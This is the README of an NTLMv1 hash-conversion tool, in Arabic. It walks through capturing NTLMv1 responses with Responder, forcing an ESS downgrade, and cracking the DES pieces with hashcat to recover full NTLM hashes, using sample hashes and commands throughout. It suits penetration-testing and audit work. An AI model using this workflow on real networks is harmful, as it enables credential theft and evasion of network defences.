
أداة متعددة الاستخدامات لـ NTLMv1
تقوم هذه الأداة بعكس تجزئات NTLMv1 إلى NTLM، أو بشكل أكثر تحديدًا، تقوم بتنسيق استجابات التحدي NTLMv1 إلى تنسيق يمكن كسره باستخدام وضع hashcat 14000
إذا حددت --ct3، فسيقوم بحساب آخر 4 أرقام من NTLM لك، وإذا حددت --json فإن --ct3 يكون ضمنيًا وسيتم إرجاعه كعنصر pt3، على سبيل المثال:
python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json
{"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"}
أخيرًا في هذا التحديث، قمت بنقل الدوال إلى main() بحيث يمكنك فقط استيراد الوحدة للاستخدام المباشر
أضفت خيارين جديدين، --hashcat و --hcutils، حيث يحددان المسار إلى hashcat وhashcat-utils على التوالي حتى تتمكن من النسخ واللصق مباشرة من الأداة.
يمكنك تشغيل الأداة بهذه الطريقة إذا كان دليل hashcat الخاص بك في ~/git/hashcat ودليل hashcat-utils الخاص بك في ~/git/hashcat-utils:
python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils"
نعم، يُفترض أن هذا متوافق مع بايثون 3، كما قمت بدمج ntlmv1 وntlmv1-ess
أداة NTLMv1 متعددة الاستخدامات
تقوم هذه الأداة بتعديل تجزئات NTLMv1/NTLMv1-ESS/MSCHAPv2 بحيث يمكن كسرها باستخدام وضع DES 14000 في hashcat
تعتمد هذه الأداة على العمل الذي قام به atom من فريق Hashcat https://hashcat.net/forum/thread-5832.html
كما أنها تستند إلى https://hashcat.net/forum/thread-5912.html و https://www.youtube.com/watch?v=LIHACAct2vo
قم بتثبيت أداة الجيل التالي ntlmv1_nextgen.py كأمر عام ntlmv1-multi باستخدام uv:
uv tool install .
ntlmv1-multi --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788"
أو قم بتشغيله مباشرة من المستودع دون تثبيت:
uv run ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:..."
يأتي المشروع مع pyproject.toml (بايثون 3.14+، اعتماد pycryptodome) لذلك يحل uv كل شيء لك؛ لا يزال ntlmv1.py الأصلي يعمل بشكل مستقل مع أي مترجم بايثون 3.
ntlmv1_nextgen.py)ntlmv1_nextgen.py (المثبت كأمر ntlmv1-multi) هو المحلل الحديث. يقبل NTLMv1 وكتل $99$ وMSCHAPv2، ويتعامل مع ESS تلقائيًا، ويمكنه إكمال التحويل الكامل من NTLMv1 -> NTLM من ملف potfile مكسور في خطوة واحدة. الخيارات المتاحة:
| الخيار | الوصف |
|---|---|
--ntlmv1 <hash> | تجزئة NTLMv1 بصيغة Responder (user::host:LM:NT:challenge). |
--99 <blob> | كتلة base64 بنمط $99$. |
--mschapv2 <hash> | تجزئة MSCHAPv2 بصيغة John the Ripper. |
--nthash <hex> | تجزئة NTLM من 32 حرفًا؛ يستنتج مفاتيح DES ومرشحات hashcat. |
--password <pw> | استنتاج مفاتيح DES --key1/--key2 من كلمة مرور معروفة. |
--key1 <hex> / --key2 <hex> | توفير مفاتيح DES ذات الـ 16 حرفًا سداسيًا لـ CT1/CT2 مباشرة (تأخذ الأولوية على --potfile). |
--potfile <path> | ملف potfile من hashcat/rainbowcrackalack لمفاتيح الوضع 14000 المكسورة؛ يستعيد key1/key2 تلقائيًا لإكمال التحويل من NTLMv1 -> NTLM. |
--hashcat | إصدار سلاسل بصيغة hashcat لـ CT1/CT2. |
--json | إخراج JSON فقط (يعني حساب CT3 ضمنيًا). |
للالتقاط، استخدم responder مع العلم --lm، بدون --lm ستقوم بتفعيل ESS مما سيزيد من وقت الكسر، كما أن هناك علمًا جديدًا --disable-ess يحاول تعطيل ESS وإجبار خفض الإصدار. جرب --disable-ess أولًا وإذا فشل فجرّب --lm. إذا كنت تستخدم --disable-ess أو --lm فتأكد من أن تحدي العميل لديك هو 1122334455667788 لاستخدام FPGA، ومع ذلك قد يؤدي ذلك إلى إثارة بعض حمايات IDS/IPS للشبكة إذا رأت ذلك الحركة.
سيبدو الالتقاط هكذا.
[SMB] NTLMv1 Client : 184.64.60.62
[SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1 Hash : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
[*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat
جزء التجزئة يبدو هكذا
hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
لذا استخدم الأداة المتعددة هكذا (كما أنها متوافقة مع بايثون 2)
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
سيقوم بإخراج البيانات التالية دون تعديل تحديات الخادم وما إلى ذلك
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
كلمة المرور المستخدمة في هذه الحالة هي "password" ويمكننا التحقق من تجزئة ntlm باستخدام
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
باستخدام أداة ct3_to_ntlm.bin من hashcat utils التي كتبها atom، يمكنك حساب آخر 4 أحرف من تجزئة NTLM من تحدي NTLMv1، والتي تخرجها الأداة
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c
هذا يتطابق مع نهاية تجزئة ntlm لذا نحن جاهزون، الخطوة التالية هي كسر التجزئات باستخدام hashcat لذا نحتاج إلى إنشاء ملف hashes.txt يحتوي على
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
لكسر هذا باستخدام hashcat استخدم
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
ملاحظة مهمة هي أن hashcat سيعيد مفاتيح DES وليس مفاتيح NTLM، ستحتاج إلى التحويل إلى NTLM باستخدام deskey_to_ntlm.pl من Hashcat Utils، ويمكن إنجاز ذلك عن طريق
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
ثم تقوم بدمج مفتاحي ntlm مع الجزء الثالث من كلمة المرور. المحسوب بواسطة (أيًا كان ما تخرجه الأداة)
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
اجمع هذه الأجزاء الثلاثة معًا وستكون جاهزًا
إذا كنت تختبر الكود الخاص بي فقط وتعرف كلمة المرور بالفعل، يمكنك استخدام محول des
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
ببساطة تقوم بما يلي
echo "$HEX[b55d6d04e67926]">>des.cand
echo "$HEX[bcba83e6895b9d]">>des.cand
./hashcat -m 14000 -a 0 hashes.txt des.cand
ويجب أن تحصل على بعض التجزئات المعكوسة
يقوم ESS بتغيير تحدي الخادم، إذا رأيت ESS في أداة responder لأنك لم تستخدم --lm أو لأن العميل مضبوط على عدم إعطاء استجابة LM، فسيتم تفعيل ESS. أيضًا --disable-ess سيحاول إيقاف ESS بالقوة، ومع ذلك يتطلب ذلك نسخة حديثة (أغسطس 2021 أو أحدث) من impacket وresponder.